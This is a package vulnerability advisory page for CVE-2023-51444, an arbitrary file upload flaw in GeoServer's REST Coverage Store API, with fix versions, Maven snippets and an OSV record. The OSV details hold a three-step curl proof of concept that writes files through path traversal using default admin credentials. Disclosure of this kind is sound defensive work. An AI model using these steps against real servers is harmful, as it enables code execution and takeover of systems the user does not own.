Vulnerabilities in pkg:maven/org.geoserver/gs-platform
PACKAGECVE-2023-51444 is a HIGH (CVSS 7.2) arbitrary file upload vulnerability vulnerability (CWE-20: Improper Input Validation) affecting Gs platform libraries in the Maven ecosystem. The issue involves arbitrary file upload vulnerability in geoserver's rest coverage store api. Remediation is available by upgrading affected packages to version 2.23.4, 2.24.1.
pkg:maven/org.geoserver/gs-platform
Vulnerability advisories affecting package pkg:maven/org.geoserver/gs-platform. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-9v5q-2gwq-q9hq | CVE-2023-51444 | HIGH | Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API |
CVE-2023-51444 at a Glance
Security Impact
CVSS: 7.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2023-51444
To remediate this vulnerability, upgrade all affected Gs platform dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>org.geoserver</groupId>
<artifactId>gs-platform</artifactId>
<version>2.23.4</version>
</dependency>
<dependency>
<groupId>org.geoserver</groupId>
<artifactId>gs-restconfig</artifactId>
<version>2.23.4</version>
</dependency>
<dependency>
<groupId>org.geoserver</groupId>
<artifactId>gs-platform</artifactId>
<version>2.24.1</version>
</dependency>
<dependency>
<groupId>org.geoserver</groupId>
<artifactId>gs-restconfig</artifactId>
<version>2.24.1</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=org.geoserver
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2023-51444, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=org.geoserver
Analyze the terminal output to locate any version of Gs platform in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.23.4), your application is affected.
Note: The mvn dependency:tree -Dincludes=org.geoserver command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Gs platform, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2023-51444 Affected Gs platform Versions
4 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
org.geoserver:gs-platform
|
Maven |
< 2.23.4
|
2.23.4
|
|
org.geoserver:gs-restconfig
|
Maven |
< 2.23.4
|
2.23.4
|
|
org.geoserver:gs-platform
|
Maven |
≥ 2.24.0
< 2.24.1
All 1 versions
2.24.0
|
2.24.1
|
|
org.geoserver:gs-restconfig
|
Maven |
≥ 2.24.0
< 2.24.1
All 1 versions
2.24.0
|
2.24.1
|
References
Frequently Asked Questions
What is CVE-2023-51444?
Which Gs platform versions are affected?
What version fixes CVE-2023-51444?
Is gs-platform affected?
Is gs-restconfig affected?
What is the CVSS score of CVE-2023-51444?
What CWE is associated with CVE-2023-51444?
How can I check Maven dependencies for CVE-2023-51444?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9v5q-2gwq-q9hq",
"modified" : "2024-03-20T15:43:58Z",
"published" : "2024-03-20T14:54:59Z",
"aliases" : [ "CVE-2023-51444" ],
"summary" : "Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API",
"details" : "### Summary\nAn arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.\n\n### Details\nCoverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.\n\n### PoC\nStep 1 (create sample coverage store):\ncurl -vXPUT -H\"Content-type:application/zip\" -u\"admin:geoserver\" --data-binary @polyphemus.zip \"http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic\"\nStep 2 (switch store to absolute URL):\ncurl -vXPUT -H\"Content-Type:application/xml\" -u\"admin:geoserver\" -d\"<coverageStore><url>file:///{absolute path to data directory}/data/sf/filewrite</url></coverageStore>\" \"http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite\"\nStep 3 (upload arbitrary files):\ncurl -vH\"Content-Type:\" -u\"admin:geoserver\" --data-binary @file/to/upload \"http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write\"\nSteps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).\n\n### Impact\nThis vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.\n\n### References\nhttps://osgeo-org.atlassian.net/browse/GEOS-11176\nhttps://github.com/geoserver/geoserver/pull/7222\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "org.geoserver:gs-platform"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.23.4"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "org.geoserver:gs-restconfig"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.23.4"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "org.geoserver:gs-platform"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.24.0"
}, {
"fixed" : "2.24.1"
} ]
} ],
"versions" : [ "2.24.0" ]
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "org.geoserver:gs-restconfig"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.24.0"
}, {
"fixed" : "2.24.1"
} ]
} ],
"versions" : [ "2.24.0" ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/geoserver/geoserver/security/advisories/GHSA-9v5q-2gwq-q9hq"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-51444"
}, {
"type" : "WEB",
"url" : "https://github.com/geoserver/geoserver/pull/7222"
}, {
"type" : "WEB",
"url" : "https://github.com/geoserver/geoserver/commit/ca683170c669718cb6ad4c79e01b0451065e13b8"
}, {
"type" : "WEB",
"url" : "https://github.com/geoserver/geoserver/commit/fe235b3bb1d7f05751a4a2ef5390c36f5c9e78ae"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/geoserver/geoserver"
}, {
"type" : "WEB",
"url" : "https://osgeo-org.atlassian.net/browse/GEOS-11176"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-434" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-03-20T14:54:59Z",
"nvd_published_at" : "2024-03-20T15:15:07Z"
}
}